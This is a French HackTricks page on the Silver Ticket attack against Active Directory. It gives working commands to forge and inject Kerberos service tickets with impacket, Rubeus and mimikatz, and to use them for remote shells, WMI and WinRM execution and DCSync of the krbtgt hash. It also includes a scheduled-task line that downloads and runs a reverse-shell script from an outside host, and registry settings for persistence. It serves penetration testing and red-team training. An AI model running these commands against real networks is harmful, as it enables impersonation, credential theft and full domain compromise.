Silver Ticket

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Silver ticket

L'attaque Silver Ticket implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur l'acquisition du hash NTLM d'un compte de service, tel qu'un compte d'ordinateur, pour forger un ticket de Service de Délivrance de Tickets (TGS). Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, usurpant n'importe quel utilisateur, visant généralement des privilÚges administratifs. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sécurisée et moins détectable.

warning

Les Silver Tickets sont moins détectables que les Golden Tickets car ils ne nécessitent que le hash du compte de service, et non le compte krbtgt. Cependant, ils sont limités au service spécifique qu'ils ciblent. De plus, il suffit de voler le mot de passe d'un utilisateur.

De plus, si vous compromettez le mot de passe d'un compte avec un SPN, vous pouvez utiliser ce mot de passe pour créer un Silver Ticket usurpant n'importe quel utilisateur pour ce service.

Pour le crafting de tickets, différents outils sont utilisés en fonction du systÚme d'exploitation :

On Linux

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Sur Windows

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Le service CIFS est mis en avant comme une cible courante pour accĂ©der au systĂšme de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent Ă©galement ĂȘtre exploitĂ©s pour des tĂąches et des requĂȘtes WMI.

Services Disponibles

Type de ServiceTickets Argent disponibles
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Selon le systÚme d'exploitation également :

WSMAN

RPCSS

WinRM

HOST

HTTP

Dans certaines occasions, vous pouvez simplement demander : WINRM

Tùches PlanifiéesHOST
Partage de Fichiers Windows, également psexecCIFS
Opérations LDAP, y compris DCSyncLDAP
Outils d'Administration de Serveur Ă  Distance Windows

RPCSS

LDAP

CIFS

Tickets en Orkrbtgt

En utilisant Rubeus, vous pouvez demander tous ces tickets en utilisant le paramĂštre :

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

IDs d'ÉvĂ©nements des Tickets Argent

  • 4624 : Connexion de Compte
  • 4634 : DĂ©connexion de Compte
  • 4672 : Connexion Administrateur

Persistance

Pour Ă©viter que les machines ne changent leur mot de passe tous les 30 jours, dĂ©finissez HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 ou vous pouvez dĂ©finir HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge Ă  une valeur supĂ©rieure Ă  30 jours pour indiquer la pĂ©riode de rotation lorsque le mot de passe de la machine doit ĂȘtre changĂ©.

Abus des Tickets de Service

Dans les exemples suivants, imaginons que le ticket est récupéré en usurpant le compte administrateur.

CIFS

Avec ce ticket, vous pourrez accéder aux dossiers C$ et ADMIN$ via SMB (s'ils sont exposés) et copier des fichiers vers une partie du systÚme de fichiers distant en faisant simplement quelque chose comme :

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Vous pourrez également obtenir un shell à l'intérieur de l'hÎte ou exécuter des commandes arbitraires en utilisant psexec :

PsExec/Winexec/ScExec

HÔTE

Avec cette autorisation, vous pouvez générer des tùches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Avec ces tickets, vous pouvez exécuter WMI dans le systÚme de la victime :

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trouvez plus d'informations sur wmiexec dans la page suivante :

WmiExec

HÔTE + WSMAN (WINRM)

Avec l'accĂšs winrm sur un ordinateur, vous pouvez y accĂ©der et mĂȘme obtenir un PowerShell :

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Vérifiez la page suivante pour apprendre plus de façons de se connecter à un hÎte distant en utilisant winrm :

WinRM

warning

Notez que winrm doit ĂȘtre actif et Ă  l'Ă©coute sur l'ordinateur distant pour y accĂ©der.

LDAP

Avec ce privilÚge, vous pouvez extraire la base de données DC en utilisant DCSync :

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

En savoir plus sur DCSync dans la page suivante :

DCSync

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks